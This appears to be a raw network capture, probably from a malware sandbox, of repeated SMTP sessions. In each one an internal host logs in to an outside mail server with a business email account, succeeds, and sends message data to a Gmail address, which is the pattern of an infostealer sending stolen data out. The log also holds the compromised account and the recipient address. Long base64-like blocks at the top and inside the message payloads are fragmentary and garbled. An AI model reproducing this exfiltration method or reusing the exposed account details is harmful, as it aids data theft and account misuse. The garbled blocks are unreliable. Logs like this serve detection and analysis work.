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 8+/tU
May 27, 2024 12:44:54.187160969 CEST	587	49729	185.5.126.24	192.168.2.7	220-cpanel05.almazena.com ESMTP Exim 4.96.2 #2 Mon, 27 May 2024 12:44:54 +0200 220-We do not authorize the use of this system to transport unsolicited, 220 and/or bulk e-mail.
May 27, 2024 12:44:54.187323093 CEST	49729	587	192.168.2.7	185.5.126.24	EHLO 610930
May 27, 2024 12:44:54.527456045 CEST	587	49729	185.5.126.24	192.168.2.7	250-cpanel05.almazena.com Hello 610930 [8.46.123.175] 250-SIZE 52428800 250-8BITMIME 250-PIPELINING 250-PIPECONNECT 250-AUTH PLAIN LOGIN 250-STARTTLS 250 HELP
May 27, 2024 12:44:54.527688980 CEST	49729	587	192.168.2.7	185.5.126.24	AUTH login cHJldmVuY2lvbkBkcmNvbnN0cnVjY2lvbmVzLmVz
May 27, 2024 12:44:54.758080959 CEST	587	49729	185.5.126.24	192.168.2.7	250-cpanel05.almazena.com Hello 610930 [8.46.123.175] 250-SIZE 52428800 250-8BITMIME 250-PIPELINING 250-PIPECONNECT 250-AUTH PLAIN LOGIN 250-STARTTLS 250 HELP
May 27, 2024 12:44:54.946990967 CEST	587	49729	185.5.126.24	192.168.2.7	334 UGFzc3dvcmQ6
May 27, 2024 12:44:55.148261070 CEST	587	49729	185.5.126.24	192.168.2.7	235 Authentication succeeded
May 27, 2024 12:44:55.149955034 CEST	49729	587	192.168.2.7	185.5.126.24	MAIL FROM:<prevencion@drconstrucciones.es>
May 27, 2024 12:44:55.342758894 CEST	587	49729	185.5.126.24	192.168.2.7	250 OK
May 27, 2024 12:44:55.345941067 CEST	49729	587	192.168.2.7	185.5.126.24	RCPT TO:<ftejiero1966@gmail.com>
May 27, 2024 12:44:55.601340055 CEST	587	49729	185.5.126.24	192.168.2.7	250 Accepted
May 27, 2024 12:44:55.601497889 CEST	49729	587	192.168.2.7	185.5.126.24	DATA
May 27, 2024 12:44:55.795367002 CEST	587	49729	185.5.126.24	192.168.2.7	354 Enter message, ending with "." on a line by itself
May 27, 2024 12:44:55.821557045 CEST	49729	587	192.168.2.7	185.5.126.24	.
May 27, 2024 12:44:56.292171001 CEST	587	49729	185.5.126.24	192.168.2.7	250 OK id=1sBXqa-0008Ga-1L
May 27, 2024 12:45:02.778862000 CEST	49729	587	192.168.2.7	185.5.126.24	QUIT
May 27, 2024 12:45:03.173742056 CEST	587	49729	185.5.126.24	192.168.2.7	221 cpanel05.almazena.com closing connection
May 27, 2024 12:45:03.960247040 CEST	587	49730	185.5.126.24	192.168.2.7	220-cpanel05.almazena.com ESMTP Exim 4.96.2 #2 Mon, 27 May 2024 12:45:03 +0200 220-We do not authorize the use of this system to transport unsolicited, 220 and/or bulk e-mail.
May 27, 2024 12:45:05.408008099 CEST	49730	587	192.168.2.7	185.5.126.24	EHLO 610930
May 27, 2024 12:45:05.606462955 CEST	587	49730	185.5.126.24	192.168.2.7	250-cpanel05.almazena.com Hello 610930 [8.46.123.175] 250-SIZE 52428800 250-8BITMIME 250-PIPELINING 250-PIPECONNECT 250-AUTH PLAIN LOGIN 250-STARTTLS 250 HELP
May 27, 2024 12:45:05.606730938 CEST	49730	587	192.168.2.7	185.5.126.24	AUTH login cHJldmVuY2lvbkBkcmNvbnN0cnVjY2lvbmVzLmVz
May 27, 2024 12:45:05.812948942 CEST	587	49730	185.5.126.24	192.168.2.7	334 UGFzc3dvcmQ6
May 27, 2024 12:45:06.028549910 CEST	587	49730	185.5.126.24	192.168.2.7	235 Authentication succeeded
May 27, 2024 12:45:06.030436993 CEST	49730	587	192.168.2.7	185.5.126.24	MAIL FROM:<prevencion@drconstrucciones.es>
May 27, 2024 12:45:06.228790998 CEST	587	49730	185.5.126.24	192.168.2.7	250 OK
May 27, 2024 12:45:06.229012012 CEST	49730	587	192.168.2.7	185.5.126.24	RCPT TO:<ftejiero1966@gmail.com>
May 27, 2024 12:45:06.476646900 CEST	587	49730	185.5.126.24	192.168.2.7	250 Accepted
May 27, 2024 12:45:06.476838112 CEST	49730	587	192.168.2.7	185.5.126.24	DATA
May 27, 2024 12:45:06.675071955 CEST	587	49730	185.5.126.24	192.168.2.7	354 Enter message, ending with "." on a line by itself
May 27, 2024 12:45:06.690459967 CEST	49730	587	192.168.2.7	185.5.126.24	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
May 27, 2024 12:45:06.698622942 CEST	49730	587	192.168.2.7	185.5.126.24	.
May 27, 2024 12:45:07.175793886 CEST	587	49730	185.5.126.24	192.168.2.7	250 OK id=1sBXql-0008KU-0w
May 27, 2024 12:45:14.594736099 CEST	49730	587	192.168.2.7	185.5.126.24	QUIT
May 27, 2024 12:45:14.995225906 CEST	587	49730	185.5.126.24	192.168.2.7	221 cpanel05.almazena.com closing connection
May 27, 2024 12:45:15.461499929 CEST	587	49731	185.5.126.24	192.168.2.7	220-cpanel05.almazena.com ESMTP Exim 4.96.2 #2 Mon, 27 May 2024 12:45:15 +0200 220-We do not authorize the use of this system to transport unsolicited, 220 and/or bulk e-mail.
May 27, 2024 12:45:15.461991072 CEST	49731	587	192.168.2.7	185.5.126.24	EHLO 610930
May 27, 2024 12:45:15.657924891 CEST	587	49731	185.5.126.24	192.168.2.7	250-cpanel05.almazena.com Hello 610930 [8.46.123.175] 250-SIZE 52428800 250-8BITMIME 250-PIPELINING 250-PIPECONNECT 250-AUTH PLAIN LOGIN 250-STARTTLS 250 HELP
May 27, 2024 12:45:15.662071943 CEST	49731	587	192.168.2.7	185.5.126.24	AUTH login cHJldmVuY2lvbkBkcmNvbnN0cnVjY2lvbmVzLmVz
May 27, 2024 12:45:15.857666969 CEST	587	49731	185.5.126.24	192.168.2.7	334 UGFzc3dvcmQ6
May 27, 2024 12:45:16.062088013 CEST	587	49731	185.5.126.24	192.168.2.7	235 Authentication succeeded
May 27, 2024 12:45:16.066514015 CEST	49731	587	192.168.2.7	185.5.126.24	MAIL FROM:<prevencion@drconstrucciones.es>
May 27, 2024 12:45:16.258994102 CEST	587	49731	185.5.126.24	192.168.2.7	250 OK
May 27, 2024 12:45:16.259179115 CEST	49731	587	192.168.2.7	185.5.126.24	RCPT TO:<ftejiero1966@gmail.com>
May 27, 2024 12:45:16.511482000 CEST	587	49731	185.5.126.24	192.168.2.7	250 Accepted
May 27, 2024 12:45:16.511624098 CEST	49731	587	192.168.2.7	185.5.126.24	DATA
May 27, 2024 12:45:16.704761982 CEST	587	49731	185.5.126.24	192.168.2.7	354 Enter message, ending with "." on a line by itself
May 27, 2024 12:45:18.020823002 CEST	587	49731	185.5.126.24	192.168.2.7	250 OK id=1sBXqv-0008PH-13
May 27, 2024 12:45:18.020967960 CEST	587	49731	185.5.126.24	192.168.2.7	250 OK id=1sBXqv-0008PH-13
May 27, 2024 12:45:18.021106005 CEST	587	49731	185.5.126.24	192.168.2.7	250 OK id=1sBXqv-0008PH-13
May 27, 2024 12:45:18.799415112 CEST	587	49732	185.5.126.24	192.168.2.7	220-cpanel05.almazena.com ESMTP Exim 4.96.2 #2 Mon, 27 May 2024 12:45:18 +0200 220-We do not authorize the use of this system to transport unsolicited, 220 and/or bulk e-mail.
May 27, 2024 12:45:18.799611092 CEST	49732	587	192.168.2.7	185.5.126.24	EHLO 610930
May 27, 2024 12:45:18.991813898 CEST	587	49732	185.5.126.24	192.168.2.7	250-cpanel05.almazena.com Hello 610930 [8.46.123.175] 250-SIZE 52428800 250-8BITMIME 250-PIPELINING 250-PIPECONNECT 250-AUTH PLAIN LOGIN 250-STARTTLS 250 HELP
May 27, 2024 12:45:18.992017984 CEST	49732	587	192.168.2.7	185.5.126.24	AUTH login cHJldmVuY2lvbkBkcmNvbnN0cnVjY2lvbmVzLmVz
May 27, 2024 12:45:19.185719967 CEST	587	49732	185.5.126.24	192.168.2.7	334 UGFzc3dvcmQ6
May 27, 2024 12:45:19.389185905 CEST	587	49732	185.5.126.24	192.168.2.7	235 Authentication succeeded
May 27, 2024 12:45:19.389408112 CEST	49732	587	192.168.2.7	185.5.126.24	MAIL FROM:<prevencion@drconstrucciones.es>
May 27, 2024 12:45:19.581614017 CEST	587	49732	185.5.126.24	192.168.2.7	250 OK
May 27, 2024 12:45:19.584021091 CEST	49732	587	192.168.2.7	185.5.126.24	RCPT TO:<ftejiero1966@gmail.com>
May 27, 2024 12:45:19.822200060 CEST	587	49732	185.5.126.24	192.168.2.7	250 Accepted
May 27, 2024 12:45:19.823926926 CEST	49732	587	192.168.2.7	185.5.126.24	DATA
May 27, 2024 12:45:20.018532038 CEST	587	49732	185.5.126.24	192.168.2.7	354 Enter message, ending with "." on a line by itself
May 27, 2024 12:45:20.045953035 CEST	49732	587	192.168.2.7	185.5.126.24	392W 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 